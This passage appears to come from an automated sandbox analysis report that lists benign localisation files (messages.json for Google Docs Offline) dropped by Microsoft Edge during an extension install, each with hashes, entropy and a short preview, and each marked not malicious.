Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
